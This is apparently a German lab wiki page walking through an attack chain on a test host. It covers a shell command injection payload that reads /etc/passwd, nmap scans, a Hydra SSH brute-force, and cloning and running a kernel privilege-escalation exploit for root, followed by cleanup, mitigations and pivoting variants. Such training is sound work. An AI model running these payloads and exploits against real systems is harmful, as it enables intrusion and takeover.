Attack Chain Example
Zur Navigation springen
Zur Suche springen
VulnSite: Command Injection → SSH Brute-Force → Copy Fail PrivEsc
- Ziel
- Diese Lab-Übung zeigt eine realistische Angriffskette: Ausnutzung einer Web-Vulnerability (Command Injection) zur RCE, Netzwerk-Reconnaissance via Port-Scan, SSH Brute-Force mit Hydra gegen gecrackte Credentials, und abschließend Privilege Escalation über CVE-2026-31431 (Copy Fail) zum root-Zugang.
Voraussetzungen
- VulnSite läuft auf
victim.secure.local(192.168.16.213) - SSH auf Port 9922 via Port-Forward erreichbar (NAT: 192.168.16.213:9922 → 10.0.10.123:22)
- User
christineexistiert mit UID 1006 und schlechtem Passwort - Wordlist
bad-passwords.txtmit dem Passwort - Python3 für Copy Fail Exploit
- Kali Linux mit nmap, Hydra, SSH Client
Phase 1: Command Injection & Reconnaissance
- 1a. Web-Interface erkunden
- VulnSite unter
http://victim.secure.local/aufrufen,host.phpanklicken (Command Injection Modul).
- 1b. Vulnerability ausnutzen
- Im Eingabefeld folgende Payload eingeben:
xinux.de ; grep bash /etc/passwd
- Das Semikolon beendet den
host-Befehl und führt danachgrep bash /etc/passwdaus. Im Output sichtbar sind alle User mit Login-Shell, z.B.:
christine:x:1006:1006:Christine User:/home/christine:/bin/bash
- 1c. Erste Reconnaissance
- Notiere die Usernamen mit Shell (
/bin/bash,/bin/sh). Ziel-User:christine
Phase 2: Port-Scanning
- 2a. Standard-Portscan von Kali
- Von Kali aus scannen:
nmap -sS 192.168.16.213
- Zeigt die Standard-Services (22, 25, 143, 389, 443, 445, 465, 993) sowie dass Port 22 offen ist.
- 2b. All-Ports-Scan
- Suche nach zusätzlichen SSH-Instanzen:
nmap -sS 192.168.16.213 -p-
- Findet Port 9922 als offen (weitergeleitet an internes SSH auf 10.0.10.123:22).
- 2c. Service-Version
- Bestätige SSH auf 9922:
nmap -sV 192.168.16.213 -p 9922
- Zeigt
OpenSSH 9.2p1 Debian 2+deb12u7.
Phase 3: SSH Brute-Force mit Hydra
- 3a. Vorbereitung
- Stelle sicher, dass die Wordlist
bad-passwords.txtdas Passwort fürchristineenthält (in diesem Lab:112233).
- 3b. Hydra-Angriff
- Starte den Brute-Force:
hydra -l christine -P bad-passwords.txt -s 9922 192.168.16.213 ssh
- Hydra findet schnell:
[9922][ssh] host: 192.168.16.213 login: christine password: 112233
- 3c. SSH-Login
- Mit den gecracten Credentials anmelden:
ssh -l christine -p 9922 192.168.16.213
- Passwort:
112233 - Nach erfolgreicher Authentifizierung landet man in der
christine@victim:~$Shell.
Phase 4: CVE-2026-31431 (Copy Fail) Privilege Escalation
- 4a. Exploit herunterladen
- Vom GitHub-Repository klonen:
christine@victim:~$ git clone https://github.com/rootsecdev/cve_2026_31431/ christine@victim:~$ cd cve_2026_31431/
- 4b. Vulnerabilität testen
- Zuerst Detector ausführen:
christine@victim:~/cve_2026_31431$ python3 test_cve_2026_31431.py
- Ausgabe sollte sein:
[!] VULNERABLE to CVE-2026-31431. [!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 0.
- Das Kernel-Subsystem
algif_aeadist anfällig und kann Page-Cache manipuliert werden.
- 4c. Copy Fail Exploit starten
- Exploit mit Shell-Flag ausführen:
christine@victim:~/cve_2026_31431$ python3 exploit_cve_2026_31431.py --shell
- 4d. Exploit-Ablauf
- Der Exploit führt folgende Schritte aus:
- Findet Christines UID in
/etc/passwd:1006 - Patcht die 4 Bytes der UID im Page-Cache:
1006→0000 - Bestätigt Patch erfolgreich (Page-Cache liest jetzt
0000) - Ruft
getpwnam('christine')auf: libc sieht jetzt UID 0 - Exec's
su christineautomatisch
- 4e. Passwort-Eingabe
- Der
su-Befehl fragt nach Christines Passwort:
Password:
- Eingabe:
112233(das gleiche SSH-Passwort)
- 4f. Root-Shell
- Erfolgreich:
root@victim:~/cve_2026_31431# id uid=0(root) gid=1006(christine) groups=1006(christine)
- UID ist 0 (root), GID bleibt 1006, weil nur die UID-Mapping in
/etc/passwdgepatched wurde.
Phase 5: Cleanup
- 5a. Page-Cache clearen
- Nach erfolgreicher Escalation Cache-Manipulation aufräumen:
root@victim:~/cve_2026_31431# echo 3 > /proc/sys/vm/drop_caches
- Damit wird die gepatchte
/etc/passwdPage aus dem Cache entfernt, die echte Disk-Version wird wieder verwendet.
- 5b. Verifizierung
- Optional: Neue Shell öffnen und verifizieren, dass
christinewieder normale UID hat:
root@victim:~# su - christine Password: 112233 christine@victim:~$ id uid=1006(christine) gid=1006(christine) groups=1006(christine)
Technischer Hintergrund
- Command Injection
- PHP führt Benutzereingabe direkt via
shell_exec()aus. Mit dem Semikolon können beliebige Kommandos gehängt werden.
- SSH Port-Forwarding
- Die Firewall (nftables NAT) leitet Traffic auf Port 9922 zu internem SSH um:
ip daddr 192.168.16.213 tcp dport 9922 dnat to 10.0.10.123:22
- Brute-Force
- Hydra versucht alle Passwörter aus der Wordlist sequenziell. Mit schlechten Passwörtern ist Erfolg wahrscheinlich.
- Copy Fail (CVE-2026-31431)
- Das Kernel-Modul
algif_aeadim XFRM-Subsystem hat eine Page-Cache-Write-Vulnerability. Durch gezielte Konstruktion von AES-GCM-Operationen lässt sich ein 4-Byte-Schreibzugriff auf beliebige, lesbare Dateien erzielen (hier:/etc/passwd). Die UID wird gepatched, aber/etc/shadowbleibt intakt. PAM validiert das Passwort trotzdem gegen die Shadow-Datei, undsunutzt die gepatchte UID zumsetuid(0).
Mitigationen
- Kernel-Update auf Version mit upstream-Patch (nach 13. Mai 2026)
- Eingabe-Validierung in PHP-Anwendungen (keine Shell-Eval)
- Starke SSH-Passwörter (nicht in Wordlists)
- nftables Firewall mit strengen Forward-Regeln
- AppArmor/SELinux Profile für Apache/PHP
Wiederholung & Varianten
- Variante A
- Ohne Command Injection
- Direkt zum Port-Scan springen, wenn SSH-Port bekannt ist. Entspricht Social Engineering oder Reconnaissance mit anderen Mitteln.
- Variante B
- Anderer Exploit statt Copy Fail
- Dirty Frag, Dirty Pipe oder andere LPE-CVEs (je nach Kernel-Version).
- Variante C
- Pivoting ins interne Netz
- Nach root-Zugang auf victim — interne Netzwerk-Infrastruktur (LDAP, Mail-Server auf 10.0.10.0/24) scannen und weiter angreifen.